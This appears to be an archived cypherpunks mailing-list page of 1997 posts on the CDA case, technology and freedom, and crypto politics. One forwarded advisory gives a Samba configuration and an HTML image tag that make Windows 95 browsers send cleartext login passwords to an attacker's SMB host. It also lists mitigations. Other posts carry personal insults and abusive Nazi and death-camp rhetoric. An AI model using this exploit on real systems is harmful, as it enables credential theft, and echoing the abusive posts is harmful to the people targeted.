December 2003 - cypherpunks-legacy

Musings on the NYTimes article on computer security
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

I liked "linux, a shareware program that is the operating system of choice for hackers" and the "wide availability of tools for .. 'fingering'". This reminded me how a couple of years ago I had a long phone conversation with a journalist from the Washington Post who was convinced (by a certain idiot from Usenet) that I'm running a hacker BBS. He kept asking me why its not possible to finger anyone @dm.com. I explained that we're behind a dial-up uucp connection, not tcp/ip - it was like talking to a wall. "Why are you hiding behind this, ahem, ucp? What have you got to hide?" I pointed out that one can't finger anyone @twp.com either - he didn't believe me and promised to check. :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

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EPIC Alert 4.04 (CDA on Trial)
by Dave Banisar 17 Dec '03

17 Dec '03

============================================================= @@@@ @@@@ @@@ @@@@ @ @ @@@@ @@@@ @@@@@ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ @@@ @ @ @@@@@ @ @@@ @@@ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ @ @@@ @@@@ @ @ @@@@ @@@@ @ @ @ ============================================================== Volume 4.04 March 17, 1997 -------------------------------------------------------------- Published by the Electronic Privacy Information Center (EPIC) Washington, D.C. http://www.epic.org/ ** SPECIAL ISSUE: THE CDA ON TRIAL ** ======================================================================= Table of Contents ======================================================================= [1] Reno v. ACLU: The Communications Decency Act on Trial [2] Background on the Litigation [3] EPIC Statement on Supreme Court Argument [4] The CDA and International Censorship [5] EPIC Bookstore: First Amendment Reading [6] Upcoming Conferences and Events ======================================================================= [1] Reno v. ACLU: The Communications Decency Act on Trial ======================================================================= On March 19, the United States Supreme Court will hear oral argument in Reno v. ACLU, the first case to address the issue of free speech in cyberspace. The legal challenge to the Communications Decency Act was initiated by the ACLU, EPIC and other organizations last February. The high court's consideration of the case is likely to produce a landmark constitutional decision, which is expected by July. Immediately following the oral argument, the Reno v. ACLU plaintiffs and lawyers will hold a news conference to offer in-depth analysis and commentary (approximately 11:30 a.m. ET). The event will be cybercast live via RealAudio on the World Wide Web. Links to the cybercast will be available at: http://www.epic.org/cda/ and http://www.aclu.org/issues/cyber/trial/appeal.html ======================================================================= [2] Background on the Litigation ======================================================================= The Communications Decency Act passed Congress last February as part of an omnibus telecommunications reform bill. The CDA makes it a crime, punishable by up to two years in jail and/or a $250,000 fine, for anyone to engage in speech that is "indecent" or "patently offensive" on computer networks if the speech can be accessed or viewed by a minor. The American Civil Liberties Union, joined by EPIC and 18 other plaintiffs, filed its legal challenge to the Act on February 8, 1996, the day it was signed into law by President Clinton. Several weeks later, a second challenge was filed by nearly 30 plaintiffs, led by the American Library Association. That suit, known as ALA v. DOJ, was subsequently consolidated with the ACLU case. Although the two cases are consolidated and the legal teams have worked together, each plaintiff group has filed separate briefs throughout the litigation. A three-judge panel in Philadelphia was appointed to hear the plaintiffs' motion for preliminary injunction, and five days of hearings were scheduled during March and April of last year. The panel consisted of Chief Judge Dolores K. Sloviter, Judge Stewart Dalzell, and Judge Ronald L. Buckwalter. The proceedings included five days of live testimony, written testimony, documentary evidence, and detailed stipulations about the nature of the Internet. On June 12, the court issued a preliminary injunction barring the government from enforcing the challenged provisions of the CDA. The opinion makes clear that the lower court agreed with the plaintiffs' view that the CDA's ill-conceived effort to censor speech in the unique medium of cyberspace violates the First Amendment. On December 6, the Supreme Court noted probable jurisdiction in the government's appeal of the lower court decision. The government filed its brief on January 21; the plaintiffs' briefs were filed on February 20. Eleven amicus ("friend of the court") briefs were also filed in support of the plaintiffs (several of which are available online). The government filed its reply brief on March 7. The Supreme Court will hear oral arguments for one hour, with the time divided equally between the two sides. Plaintiffs will be represented by Bruce J. Ennis; the government by Seth Waxman of the Solicitor General's office. ================================================================== [3] EPIC Statement on Supreme Court Argument ================================================================== Supreme Court Internet Decision Will Have a Profound Impact on Individual Privacy Rights March 19, 1997 Washington, DC Contact: David Sobel, EPIC Legal Counsel 202/544-9240 http://www.epic.org/cda/ The U.S. Supreme Court's consideration of Reno v. ACLU sets the stage for a decision of historic significance, one that will establish a constitutional framework for reviewing government regulation of the Internet. The issues extend beyond the Communications Decency Act and go to the very essence of the information infrastructure. The Electronic Privacy Information Center (EPIC) has consistently stressed both the free speech and the privacy implications of the case since joining with the American Civil Liberties Union in challenging this ill-advised and unconstitutional attempt to impose governmental content regulation on emerging global electronic media. EPIC is participating in the litigation as both plaintiff and co-counsel. As the three-judge panel in Philadelphia recognized, the legislation's vague "indecency" standard will have an obvious impact upon the free speech rights of millions of Americans who use computer networks to receive and distribute information. Less apparent is the assault on privacy rights that the legislation, if upheld, will engender. To avoid potential criminal liability under the CDA's "indecency" provision, information providers would, in effect, be required to verify the identities and ages of all recipients of material that might be deemed inappropriate for children. If upheld, the statutory regime would thus result in the creation of "registration records" for tens of thousands of Internet sites, containing detailed descriptions of information accessed by particular recipients. These records would be accessible to law enforcement agencies and prosecutors investigating alleged violations of the statute. Such a regime would constitute a gross violation of Americans' rights to access information privately and anonymously. Two years ago, the Supreme Court upheld the right to anonymous speech in McIntyre v. Ohio Elections Commission. EPIC believes that the Court's rationale in that case applies with even greater force to the Internet "indecency" provisions now under review. The Court noted in McIntyre that The decision in favor of anonymity may be motivated by fear of economic or official retaliation, by concern about social ostracism, or merely by a desire to preserve as much of one's privacy as possible. ... Anonymity is a shield from the tyranny of the majority. It thus exemplifies the purpose behind the Bill of Rights, and of the First Amendment in particular: to protect unpopular individuals from retaliation -- and their ideas from suppression -- at the hand of an intolerant society. Whether the millions of individuals visiting sites on the Internet are seeking information on teenage pregnancy, AIDS and other sexually transmitted diseases, classic works of literature or avant-garde poetry, they enjoy a Constitutional right to do so privately and anonymously. The Communications Decency Act seeks to destroy that right. If upheld, the CDA would render the Internet not only the most censored communications medium, but also the most heavily monitored. EPIC is confident that upon review of the legislation and its impact upon free speech and privacy rights in emerging electronic media, the Supreme Court will affirm the lower court decision invalidating the CDA as fundamentally at odds with the Constitution. ======================================================================= [4] The CDA and International Censorship ======================================================================= Following the passage of the CDA in the United States, dozens of other countries followed suit and imposed restrictions on Internet content, citing the CDA as justification for their efforts at censorship. In many countries, the legal bans cover a broad range of material, including news services and political discussions. Not surprisingly, Singapore has played a leading role in restricting Net content. According to the U.S. State Department's description of Singaporean law, "access to web pages that undermine public security, national defense, racial and religious harmony, and public morals is banned. In addition, content that tends to bring the Government into hatred or contempt, or that excites disaffection against the Government is forbidden." In China, human rights groups critical of the govern- ment's record are "filtered," as are many U.S. newspapers. With the help of Bay Networks, an American company, China is setting up its own Intranet that will not permit the online distribution of critical material. Arab countries met in Dubai last October to discuss setting up an Arab Intranet where political discussion could be banned. The European Union and the OECD are currently discussing Internet content restrictions. In response to these trends, the Parliamentary Human Rights Foundation recently convened a meeting in Brussels to draft "Open Internet Policy Principles." Among the consensus principles is a strong statement in support of freedom of expression: There should be no regulation of Internet content by government. We understand the fundamental rights of freedom of expression, as embodied in Art. 19 of the Universal Declaration of Human Rights ("Everybody has the right ... to seek, receive and impart information and ideas through any media and regardless of frontiers" ) and in Art. 19(2) of the International Covenant on Civil and Political Rights ("Everyone shall have the right to freedom of expression; this right shall include freedom to seek, receive and impart information and ideas of all kinds, regardless of frontiers, either orally, in writing or in print, in the form or art or through any other media of his choice") -- to apply with full force to Internet communication. The full text of the Open Internet Policy Principles is available at: http://www.phrf.org/conference Free speech and human rights advocates from around the world have joined together in the Global Internet Liberty Campaign to fight these restrictions. Members include EPIC, ACLU, Human Rights Watch, and groups from around the world. More information on GILC is available at: http://www.gilc.org Other information on international censorship efforts is available from the Fight Censorship list archives at: http://www.eff.org/~declan/global/ ======================================================================= [5] EPIC Bookstore: First Amendment Reading ======================================================================= The EPIC Bookstore offers a wide range of books on civil liberties, privacy, and on-line freedom. With the Communications Decency Act being argued before the Supreme Court this week, we are featuring four titles that look at the history, technology, policy and practice behind the First Amendment: * Make No Law: The Sullivan Case and the First Amendment by Anthony Lewis -- Few cases have done more to shape the First Amendment than this historic decision. * Technologies of Freedom by Ithiel De Sola Pool -- One of the early works on why regulating speech in cyberspace is a bad idea. * Intellectual Freedom Manual by The Office for Intellectual Freedom, American Library Association -- Good advice for protecting freedom in the on-line world. * Censored: The News That Didn't Make the News-And Why: The 1995 Project Censored Yearbook by Carl Jensen -- Sometimes it's the press and not government that keeps important stories under wraps. Here's what the big shots missed in 1995. We also have an extensive collection of other titles on freedom of expression. Visit the EPIC Bookstore and celebrate the First Amendment with a good book on free speech! It can be found at: http://www.epic.org/bookstore/ ======================================================================= [6] Upcoming Conferences and Events ======================================================================= Eurosec'97: the Seventh Annual Forum on Information Systems Quality and Security. March 17 - 19, 1997. Paris, France. Sponsored by XP Conseil. Contact: http://ourworld.compuserve.com/homepages/eurosec/ CyberRights Congress. March 20-21, 1997. Washington, DC. Sponsored by the First Amendment Congress. Contact: http://www.oklahoman.net/connections/congress/ Culture and Democracy revisited in the Global Information Society. May 8 - 10, 1997. Corfu, Greece. Sponsored by IFIP-WG9.2/9.5. Contact: http://www.math.aegean.gr/english/eevents/econf/ecnew/ewc97.htm CYBER://CON.97: Rules for Cyberspace?:Governance, Standards and Control. June 4 - 7, 1997. Chicago, Illinois. Sponsored by the John Marshall Law School. Contact: cyber97(a)jmls.edu. Ethics in the Computer Society: The Second Annual Ethics and Technology Conference. June 6 - 7, 1997. Chicago, Ill. Sponsored by Loyola University Chicago. http://www.math.luc.edu/ethics97 Public Workshop on Consumer Privacy. June 10-13, 1997. Washington, DC. Sponsored by the Federal Trade Commission. Contact: http://www.ftc.gov/os/9703/privacy.htm INET 97 -- The Internet: The Global Frontiers. June 24-27, 1997. Kuala Lumpur, Malaysia. Sponsored by the Internet Society. Contact: inet97(a)isoc.org or http://www.isoc.org/inet97 Privacy laws & Business 10th Anniversary Conference. July 1-3, 1997. St. John's College, Cambridge, England. Contact: info(a)privacylaws.co.uk. AST3: Cryptography and Internet Privacy. Sept. 15, 1997. Brussels, Belgium. Sponsored by Privacy International and EPIC. Contact: pi(a)privacy.org. http://www.privacy.org/pi/conference/brussels/ 19th Annual International Privacy and Data Protection Conference. Sept. 17-18, 1997. Brussels, Belgium. Sponsored by Belgium Data Protection and Privacy Commission. International Conference on Privacy. September 23-26, 1997. Montreal, Canada. Sponsored by the Commission d'Acces a l'information du Quebec. Managing the Privacy Revolution '97. October 21-23, 1997. Washington, DC. Sponsored by Privacy and American Business. Contact: http://shell.idt.net/~pab/conf97.html (Send calendar submissions to alert(a)epic.org) ======================================================================= The EPIC Alert is a free biweekly publication of the Electronic Privacy Information Center. To subscribe, send email to epic-news(a)epic.org with the subject: "subscribe" (no quotes) or use the subscription form at: http://www.epic.org/alert/subscribe.html Back issues are available at: http://www.epic.org/alert/ ======================================================================= The Electronic Privacy Information Center is a public interest research center in Washington, DC. It was established in 1994 to focus public attention on emerging privacy issues such as the Clipper Chip, the Digital Telephony proposal, national ID cards, medical record privacy, and the collection and sale of personal information. EPIC is sponsored by the Fund for Constitutional Government, a non-profit organization established in 1974 to protect civil liberties and constitutional rights. EPIC publishes the EPIC Alert, pursues Freedom of Information Act litigation, and conducts policy research. For more information, email info(a)epic.org, HTTP://www.epic.org or write EPIC, 666 Pennsylvania Ave., SE, Suite 301, Washington, DC 20003. +1 202 544 9240 (tel), +1 202 547 5482 (fax). If you'd like to support the work of the Electronic Privacy Information Center, contributions are welcome and fully tax-deductible. Checks should be made out to "The Fund for Constitutional Government" and sent to EPIC, 666 Pennsylvania Ave., SE, Suite 301, Washington DC 20003. Individuals with First Virtual accounts can donate at http://www.epic.org/epic/support.html Your contributions will help support Freedom of Information Act and First Amendment litigation, strong and effective advocacy for the right of privacy and efforts to oppose government regulation of encryption and funding of the National Wiretap Plan. Thank you for your support. ---------------------- END EPIC Alert 4.04 ----------------------- ========================================================================= David Banisar (Banisar(a)epic.org) * 202-544-9240 (tel) Electronic Privacy Information Center * 202-547-5482 (fax) 666 Pennsylvania Ave, SE, Suite 301 * HTTP://www.epic.org Washington, DC 20003 PGP Key: http://www.epic.org/staff/banisar/key.html =========================================================================

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No Subject
by Mix 17 Dec '03

17 Dec '03

Tim Mayflower's family tree goes straight up. All of his ancestors were siblings, to dumb to recognize each other in the dark. o o Tim Mayflower o \_/

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Technology and loss of freedom
by ichudov＠algebra.com 17 Dec '03

17 Dec '03

Hi, I have a thesis that it is the development of technology that has, over the last 100 years, eroded the basis for and appreciation of human freedom. Technology has also done precious little for advancing human freedoms (although cryptography may be an exception). Let's first define freedom as the ability of people to do things without forceful interference from the government. This is an arbitrary definition, but it appears to be useful for the analysis below. First of all, 200 years ago it was very hard for lone people to endanger lives of themselves and many others. For example, the only weapons that were available were single shot and double shot rifles that were very slow to reload. Similarly, people did not have fast moving vehicles and any traffic did not present serious danger for innocent bystanders. Poison gases were not available, and the explosives technology was far less advanced. Even if it was possible to set up a large explosion, limitations in building construction made them useless. "Hard drugs" also became available only in the recent past [please correct me] due to advancements in chemistry and medicine. You can well imagine that airline terrorism could not appear before airlines. No doubt that I only touched upon a very small percentage of newly existent dangers that are created by the technology. At the same time, developments in technology made it easy to spy on and brainwash citizens. TV, which is the ultimate brainwashing machine, came in play only very recently. The wiretapping is new also. It is the remoteness feature of "bugs" that made spying so much cheaper than hiring "stukachi" -- snitches. If you ride a horse, there is no perceived need for an airbag or a mandatory horse insurance. If all houses are 1 story tall, nobody is afraid of an OK City type explosion. With the advent of technology, the balance of perceived social needs and government capabilities shifted radically, and it shifted away from the great freedoms of the past. The public perception of freedom now is that freedom is inherently dangerous and is a threat to the public itself. Is that an evil CoNspiRaCY of purebred sovoks and Zion agents or it is a natural consequence of inventions that dramatically changed the place of the man in the world? I am not sure. - Igor.

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RE: Technology and loss of freedom
by Blanc Weber 17 Dec '03

17 Dec '03

From: ichudov(a)algebra.com With the advent of technology, the balance of perceived social needs and government capabilities shifted radically, and it shifted away from the great freedoms of the past. The public perception of freedom now is that freedom is inherently dangerous and is a threat to the public itself. ............................................................ The more advanced the technological creations become, the more potential there is for disaster - in larger measure and in greater speed - and therefore the greater need there is for preparation to deal with the new toys and the consequences when things go wrong. This needed preparation includes the time required for developing concepts regarding our human nature and our place in the artificial "man-made" world, about "who is in control around here" - us or the machines - and what purposes - or whose purposes - the machines serve. But then there's always a confusion and many battles over who will serve whose purposes, not only in regard of machines, but of governments and societies. Technology doesn't communicate automatically any particular message. Anyone can interpret its existence in any way it pleases them to interpret it. If those who use these toys and tools every day do not stop to identify what they are doing, and why, and who is making the decisions in their life; if they don't make conscious choices about their activities and the means they use to accomplish these, it is not the technology which is to blame for the humans' default on thinking. .. Blanc

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No Subject
by Gordon 17 Dec '03

17 Dec '03

I need your help with PGP, I don't get any reply from the remailers can you help?

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ORGANIZED CRIME AND TECHNOLOGY TRENDS
by Toto 17 Dec '03

17 Dec '03

> From: denning(a)cs.georgetown.edu (Dorothy Denning) > Subject: ORGANIZED CRIME AND TECHNOLOGY TRENDS > > We are in the process of writing a report on the impact of technology > and encryption on domestic and international organized crime. The > results will be presented to the Working Group on Organized Crime of the > National Strategy Information Center in Washington, DC on April 29. > Even if you have not encountered encryption, we > are interested in your views on how it will be exploited by organized > crime and ultimately affect our ability to fight global organized crime. I don't think that there is any need for you to fish for imaginary scenarios involving organized crime and encryption as there is more than enough hard evidence of these crimes being comitted by governments around the world. The ultimate form of encryption, for example, is the use of the Top Secret / National Security scam to limit the criminal actions of the government to being viewed only by those who are taking an active part in the crimes against the citizens and the subverting of personal privacy and freedom. Another particularly criminal form of encryption is the corruption of the truth by disinformation campaigns and deceitful scare tactics which government agencies use to disguise the true nature of their freedom-limiting legislation and regulations. I could go on and on, but I seriously doubt that you want to hear about it. I am certain that you are making a great amount of money in your efforts to lower the Jackboots on the citizens of the world by claiming that their freedom and privacy must be taken from them in order to protect them. I hope that you get filthy rich, the key word here being 'filthy'. It amazes me that someone would self-righteously proclaim that I need protection from drug-dealers who are not passing legislation forcing me to use their products, and claim that their efforts to pass legislation to imprison me for exercising my right to privacy are some holy crusade. I hope that your sorry, Nazi asses burn in Hell for the vile, fascist legislation that you and your kind are attempting to foist upon the public. Perhaps you could suggest 'trial' legislation which only denies strong cryptography to Jews, intitially. Then, if your efforts to round them all up and send them to the death camps are successful, you could point to this success as reason to expand the legislation. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html

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[LONG] Windows Security (was Re: SecureFile)
by Jeremey Barrett 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- I forward this because of the discussion of SecureFile and M$ CryptoAPI, which relies on the security of the windows password to protect keys. Fun... - ------------- Begin forwarded message Subject: BoS: http://www.security.org.il/msnetbreak/ Resent-Date: Tue, 18 Mar 1997 16:41:20 +1100 (EST) Resent-From: best-of-security(a)suburbia.net Date: Mon, 17 Mar 1997 21:14:02 -0600 From: leph One <aleph1(a)DFW.NET> To: best-of-security(a)suburbia.net WINDOWS 95 AND MSIE SECURITY HOLE What's new It is possible from anywhere on the Internet to obtain the cleartext Windows 95 login password from a Windows 95 computer on a network connected directly to the Internet given only the IP address and the workgroup and leave no trace of your actions. It is untested and may work with Windows For Workgroups as well. Description There has been recent discussion on security mailing lists concerning the fact that Microsoft Internet Explorer running on Windows NT will automatically try to log in to a remote SMB server (file server) without prompting the user or without the user's knowledge. By design, the NT machine will transmit to this remote server the encrypted password and username of the user. This is documented by Aaron Spangler. The caveats with this are that the passwords are encrypted and that in many cases people do not use WWW browsers from NT servers, but rather from computers running Windows 95. It has been explained that this same exploit does not work against Windows 95 because Windows 95 is only capable of accessing SMB shares (file sharing) if they are: * Connected to the same subnet. * In the Windows 95 computer's LMHOSTS file on startup * Announced to the Windows 95 computer by a Master Browser It is this third and final condition that can be taken advantage of to obtain the cleartext password and username of any Windows 95 user who uses Microsoft Internet Explorer. Even careless use of Microsoft Network Neighborhood can exploit this hole without the requirement for Internet Explorer The requirements are knowledge of the user's IP address, workgroup name and that they access a hostile web page. The first two are not difficult to obtain and the third does not have to be an obscure page. In the last 6 months sites such as the CIA have been broken into. All it would require is that one un-noticeable line be added to the home page. Since the viewable content of the page has not been altered, such a change can go unnoticed for a long time. The Exploit This involves the use of the Unix SMB implementation called Samba. There are no source changes required, but it should be compiled with -DDEBUG_PASSWORD. Samba has an option in the smb.cfg file called remote announce. This allows you to specify a network address (host or broadcast) and workgroup name to inform about your existence. I have configured the [global] section of the smb.conf file like this: workgroup = EXPLOIT preferred master = yes domain master = yes security = user debug level = 100 remote announce = 10.0.0.255/WORKGROUP The only thing that must be changed is the remote announce line. The rest works as-is. A simple share must then be set up such as: [exploit] path = /tmp public = no browsable = yes Nothing needs to be in the directory as nobody will ever see it. For the sake of untractability, change your hostname to something that does not exist, but ensure to create an entry for it in /etc/hosts. This makes your host untraceable unless the network you are connecting to monitors network traffic. Run smbd. If you are running it from inetd, the process must at least start itself in order to send the broadcast. Using smbclient to browse yourself is enough for this. The broadcast gets sent regardless of what smbd was started for. At this point if anyone on the target network were to look at their Windows 95 Network Neighborhood they would see the host "EXPLOIT". The host is now vulnerable to your attack. While this step may seem a bit obscure and complicated, the truth is that it is very simple. I won't get into details here, but the methods for obtaining the workgroup name are easy to use and readily available. Finding a target network that has not protected ports 137 and 139 is also not so hard. Once you've done that, setting everything up to here takes a very short ammount of time. The final and easiest step is to include the following in any html file a user on this network accesses: <img src=file://\\exploit/exploit/t.gif> Congratulations!!! You will now see in your Samba log a line such as this: checking user=[user] pass=[INNOCENT] What does this all mean? The password of any Internet-connected user running Microsoft Internet Explorer on Windows 95 obtained be found in cleartext provided that their network administrator has not protected them from accessing external SMB servers by closing ports 139 and 137. If you have obtained the password of a user of a Windows NT server, you can now take the username, password and workgroup and log into that Windows NT server. Your true hostname and IP address are not stored in the html file and I am aware of no logging of hosts that enter the browse list. This means that you are not traceable, even though they are connecting to your machine. If you are lucky, you found the Windows 95 machine of the NT administrator and have little work left in order to access the NT server with administrator privileges. Solutions * Use Netscape * Use a proxy firewall or packet filter to close off ports 137 and 139 from external access to your network, though this still leaves you at risk from internal attacks. * Ask Microsoft to rewrite Windows to not send passwords by default. Demonstration We're working on software that will allow anyone to try this out and hope to have it finished tomorrow. Responses / Updates * March 17, 20:00pm: Microsoft Israel was informed of the problem and requested further information. * March 17, 22:30pm: This document initially completed. * March 17, 00:30am: Final tests with remote sites completed. Credits Discovery by Steve Birnbaum with help from Mark Gazit. Additional support from Yacov Drori and Roman Lasker. Thanks also to hobbit for his paper on CIFS, BioH for helping to test this, and anyone else who helped or provided ideas. Disclaimer The details of this exploit are being released with the interest of security in mind. No malice or harm is intended towards any company or organization. We are not responsible for any actions taken based on this information, harmful or otherwise. _________________________________________________________________ - ------------- End forwarded message. - -- =-----------------------------------------------------------------------= Jeremey Barrett VeriWeb Internet Corp. Crypto, Ecash, Commerce Systems http://www.veriweb.com/ PGP Key fingerprint = 3B 42 1E D4 4B 17 0D 80 DC 59 6F 59 04 C3 83 64 =-----------------------------------------------------------------------= -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMy46Ri/fy+vkqMxNAQG5kwQA2Hoeg/W6/So4+YWMlS3f3y+eX/uzFuy3 mLmqiKPf0B+Pm6KGmoH4FXk7OmlMl8IqN4GJ/mGdzX3Otf4oSxrXsQPuNc688QJI F31F7rZTnPtXpIO9IpHvEwqyPksCOsiDJkf0cTFfVygvG2+67c/1OZ3rX/YieLoT EnQEsxjUWqk= =dQxJ -----END PGP SIGNATURE-----

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Re: Technology and loss of freedom
by Cynthia H. Brown 17 Dec '03

17 Dec '03

On Mon, 17 Mar 1997, Igor Chudov philosophised: > I have a thesis that it is the development of technology that has, over > the last 100 years, eroded the basis for and appreciation of human > freedom. Technology has also done precious little for advancing human > freedoms (although cryptography may be an exception). > > Let's first define freedom as the ability of people to do things without > forceful interference from the government. This is an arbitrary > definition, but it appears to be useful for the analysis below. > > First of all, 200 years ago it was very hard for lone people to endanger > lives of themselves and many others. Unfortunately not true - large conflagrations were all too common because of the reliance on fire for heating / cooking, wood-based construction with thatched roofing, and lack of organised, well-equipped fire brigades. > Similarly, people did not have fast moving vehicles and > any traffic did not present serious danger for innocent bystanders. True, but the highway brigands did pose a danger. Additionally, wandering nobility could (and did) commandeer attractive young peasants of either gender for a "visit". The consequences (psychological and/or physical) for these young peasants were irrelevant. > "Hard drugs" also became available only in the recent past [please > correct me] due to advancements in chemistry and medicine. Potable water is also a fairly recent innovation. Beer and wine were generally much safer (before they went sour, that is) than the raw sewage that flowed downstream from the next village. Humans have been chewing various leaves, roots, etc. for millenia. Some of these "natural" items are just as intoxicating as so-called "hard drugs". > If you ride a horse, there is no perceived need for an airbag or a > mandatory horse insurance. If all houses are 1 story tall, nobody is afraid > of an OK City type explosion. > > With the advent of technology, the balance of perceived social needs and > government capabilities shifted radically, and it shifted away from the > great freedoms of the past. The public perception of freedom now is that > freedom is inherently dangerous and is a threat to the public itself. SCA leanings notwithstanding, you cannot convince me that life back then was "freer" than now. Peasants could not leave their land, shopkeepers and artisans were limited by the guilds, and nobles were obliged to comply with the wishes of their "superiors" or be labelled traitors. Maslow's Hierarchy of Needs is another useful argument here - people were so concerned with feeding and clothing themselves that they did not have time to concern themselves with niceties like freedom. A professor of medieval studies once said that the most accurate depiction of Ye Goode Olde Life is in Monty Python's "Holy Grail", in the "Bring Out Yer Dead" scene. ("Must be a king." "Why?" "He hasn't got sh*t all over 'im.") Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb(a)iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within.

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Re: Market Failures, Monocultures, and Dead Legislators
by Toto 17 Dec '03

17 Dec '03

Dale Thorn wrote: > > The best reason to oppose air bags and seat belts is that they > protect the worst class of drivers (those who run into things, > as opposed to those who get run into), who should be killed > by their stupidity. (Survival of the fittest, without govt. > interference). How about a law prohibiting legislators from wearing seat-belts? I think we could get a grass-roots thing going on this one. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html

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